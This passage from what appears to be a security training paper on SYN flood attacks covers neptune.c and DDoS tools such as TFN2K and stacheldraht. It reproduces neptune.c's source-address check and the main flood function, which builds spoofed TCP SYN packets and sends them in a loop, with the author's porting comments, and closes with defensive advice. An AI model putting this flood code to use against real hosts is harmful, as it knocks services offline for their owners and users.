limitations of neptune.c is the amount of traffic that can be generated by a single 
attacker and the possibilities of these packets can be traced back to the actual attacker 
by reviewing router logs. 
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 Another weakness is neptune.c’s use of a single spoofed address. Modern 
systems designed to detect SYN Floods would detect a large number of SYN packets 
arriving from a single source. These systems can decide to ignore future packets from 
this source, preventing the SYN Flood from succeeding. 
 Tribal Flood Network, and its updated version TFN2K, as well as stacheldraht 
(German for barbed wire) are known as Distributed Denial of Service tools. These tools 
work using a master/slave design, where slave programs are placed on compromised 
hosts. These hosts can then be remotely commanded by the master to begin a SYN 
Flood attack. Each of these slaves are capable of randomly generating addresses to be 
spoofed, making it near impossible for a target host to recognize the flood of packets as 
an attack.  By using distributed atackers there is no one attack path in use that can be 
traced.  The actual attacking hosts aren’t even owned by the true attacker, they are 
often the systems of unwitting home users. 
 The National Infrastructure Protection Center has a tool designed to test Solaris 
and Linux systems for the presence of some of these tools.  More information can be 
found at:  http://www.nipc.gov/warnings/alerts/1999/trinoo.htm. 
 

Source code/ Pseudo code 
 

Although the entire code for Neptune.c can be found at: 
http://www.fc.net/phrack/files/p48/p48-13.html, the relevant parts of the neptune.c code 
are as follows: 
 

First is the function that handles the generation of the ICMP_ECHO packet. This 
is the piece of code that the program uses to ensure that the spoofed address is not a 
legitimate host. 
 
int slickPing(amount,sock,dest) 
int amount,sock; 
char *dest; 
{ 
 int alarmHandler(); 
 unsigned nameResolve(char *); 
 register int retcode,j=0; 
 struct icmphdr *icmp; 
 struct sockaddr_in sin; 
 unsigned char sendICMPpak[MAXPAK]={0}; 
 unsigned short pakID=getpid()&0xffff; 
 
 struct ippkt{ 
     struct iphdr ip; 
     struct icmphdr icmp; 
     char buffer[MAXPAK]; 
 }pkt; 
 bzero((char *)&sin,sizeof(sin)); 
 sin.sin_family=AF_INET; 
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 sin.sin_addr.s_addr=nameResolve(dest); 
 icmp=(struct icmphdr *)sendICMPpak; 
 icmp->type=ICMP_ECHO;    
 icmp->code=0;     
 icmp->un.echo.id=pakID;    
 icmp->un.echo.sequence=0;   
 icmp->checksum=in_cksum((unsigned short *)icmp,64); 
 
 fprintf(stderr,"sending ICMP_ECHO packets: "); 
 for(;j<amount;j++){ 
  usleep(ICMPSLEEP);   
  retcode=sendto(sock,sendICMPpak,64,0,(struct sockaddr 
*)&sin,sizeof(sin)); 
  if(retcode<0||retcode!=64) 
   if(retcode<0){ 
    perror("ICMP sendto err"); 
    exit(1); 
   } 
   else fprintf(stderr,"Only wrote %d 
bytes",retcode); 
  else fprintf(stderr,"."); 
 } 
 HANDLERCODE=1; 
 signal(SIGALRM,alarmHandler); **On my system I had to comment this 

out, there seems to be an issue with the 
type of pointer this references – 
someone with a higher level of C 
programming skills could probably 
ascertain what has changed since 1996 
- Steve  

 
fprintf(stderr,"\nSetting alarm timeout for 10 seconds...\n"); 
 alarm(10);  
 while(1){  
  read(sock,(struct ippkt *)&pkt,MAXPAK-1); 
    if(pkt.icmp.type==ICMP_ECHOREPLY&&icmp-
>un.echo.id==pakID){ 
   if(!HANDLERCODE)return(0); 
   return(1); 
  } 
   }  
} 
 

Next is the piece of code that initiates the flood of outgoing SYN packets. It is the 
part responsible for building the TCP packets with the SYN flag set and the source 
address spoofed: 
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void flood(int sock,unsigned sadd,unsigned dadd,u_short 
dport,int amount){ 
 unsigned short in_cksum(unsigned short *,int);   
    struct packet{ 
        struct iphdr ip; 
        struct tcphdr tcp; 
    }packet; 
 struct pseudo_header{   
        unsigned int source_address; 
        unsigned int dest_address; 
        unsigned char placeholder; 
        unsigned char protocol; 
        unsigned short tcp_length; 
        struct tcphdr tcp; 
    }pseudo_header; 
    struct sockaddr_in sin;   
    register int i=0,j=0;   
 int tsunami=0;    
 unsigned short sport=161+getpid(); 
 if(!dport){ 
  tsunami++;   
  fprintf(stderr,"\nTSUNAMI!\n"); 
  fprintf(stderr,"\nflooding port:");  
 } 
    sin.sin_family=AF_INET;   
    sin.sin_port=sport;   
    sin.sin_addr.s_addr=dadd; 
    packet.tcp.source=sport;  
    packet.tcp.dest=htons(dport);  
 packet.tcp.seq=49358353+getpid(); 
 packet.tcp.ack_seq=0;   
    packet.tcp.doff=5;   
 packet.tcp.res1=0;   
 packet.tcp.res2=0;  **This setting had to be removed on my Linux 

host as it appears to be no longer supported in 
the tcp.h file - Steve  

    packet.tcp.urg=0;     
    packet.tcp.ack=0;   
 packet.tcp.psh=0;   
    packet.tcp.rst=0;   
    packet.tcp.syn=1;  **Here is where we set the SYN flag - Steve 
    packet.tcp.fin=0;   
    packet.tcp.window=htons(242);  
    packet.tcp.check=0;   
    packet.tcp.urg_ptr=0;   
         **Now we build the IP header which includes 
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our target address and spoofed source 
address - Steve 

    packet.ip.version=4;   
 packet.ip.ihl=5;   
    packet.ip.tos=0;   
    packet.ip.tot_len=htons(40);  
    packet.ip.id=getpid();   
 packet.ip.frag_off=0;   
    packet.ip.ttl=255;   
    packet.ip.protocol=IPPROTO_TCP;  
    packet.ip.check=0;   
 packet.ip.saddr=sadd;   
    packet.ip.daddr=dadd;   
 pseudo_header.source_address=packet.ip.saddr; 
       pseudo_header.dest_address=packet.ip.daddr; 
       pseudo_header.placeholder=0; 
       pseudo_header.protocol=IPPROTO_TCP; 
       pseudo_header.tcp_length=htons(20); 
 while(1){   /* Main loop */ 
  if(tsunami){ 
   if(j==MAXPORT){ 
    tsunami=0; 
      break; 
   } 
   packet.tcp.dest=htons(++j); 
   fprintf(stderr,"%d",j); 
   fprintf(stderr,"%c",0x08); 
   if(j>=10)fprintf(stderr,"%c",0x08); 
   if(j>=100)fprintf(stderr,"%c",0x08); 
   if(j>=1000)fprintf(stderr,"%c",0x08); 
   if(j>=10000)fprintf(stderr,"%c",0x08); 
  } 
     for(i=0;i<amount;i++){ 
   packet.tcp.source++;  
         packet.tcp.seq++;  
         packet.tcp.check=0;  
         packet.ip.id++;  
         packet.ip.check=0;        
   packet.ip.check=in_cksum((unsigned short 
*)&packet.ip,20); 
         bcopy((char *)&packet.tcp,(char 
*)&pseudo_header.tcp,20); 
         packet.tcp.check=in_cksum((unsigned short 
*)&pseudo_header,32); 
   usleep(FLOODSLEEP);   
  sendto(sock,&packet,40,0,(struct sockaddr 
*)&sin,sizeof(sin)); 
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   if(!tsunami&&!KEEPQUIET)fprintf(stderr,"."); 
     }  
  if(!tsunami)break; 
 } 
} 
 
Conclusion 
 

Denial of Service attacks are becoming more prevalent everyday. According to a 
recent study performed by the University of California, San Diego, 4000 Denial of 
Service attacks occur every week. 
(http://www.cnn.com/2001/TECH/internet/05/24/dos.study.idg/) 
 

The ease of performing these attacks and the difficulties involved in trying to 
prevent them are major concerns for the Internet community. As is often mentioned by 
the security industry, there is no silver bullet. Defense in depth, or the use of multiple 
layers of security, is your best protection. 

 
If you are responsible for managing and protecting publicly accessible network 

hosts, it is crucial that you are familiar with the options available to you. Access to trade 
publications and education are critical. Management backing and funding are also 
necessary to provide an acceptable level of system availibility. Lastly, quick application 
of vendor supplied patches is a must. 
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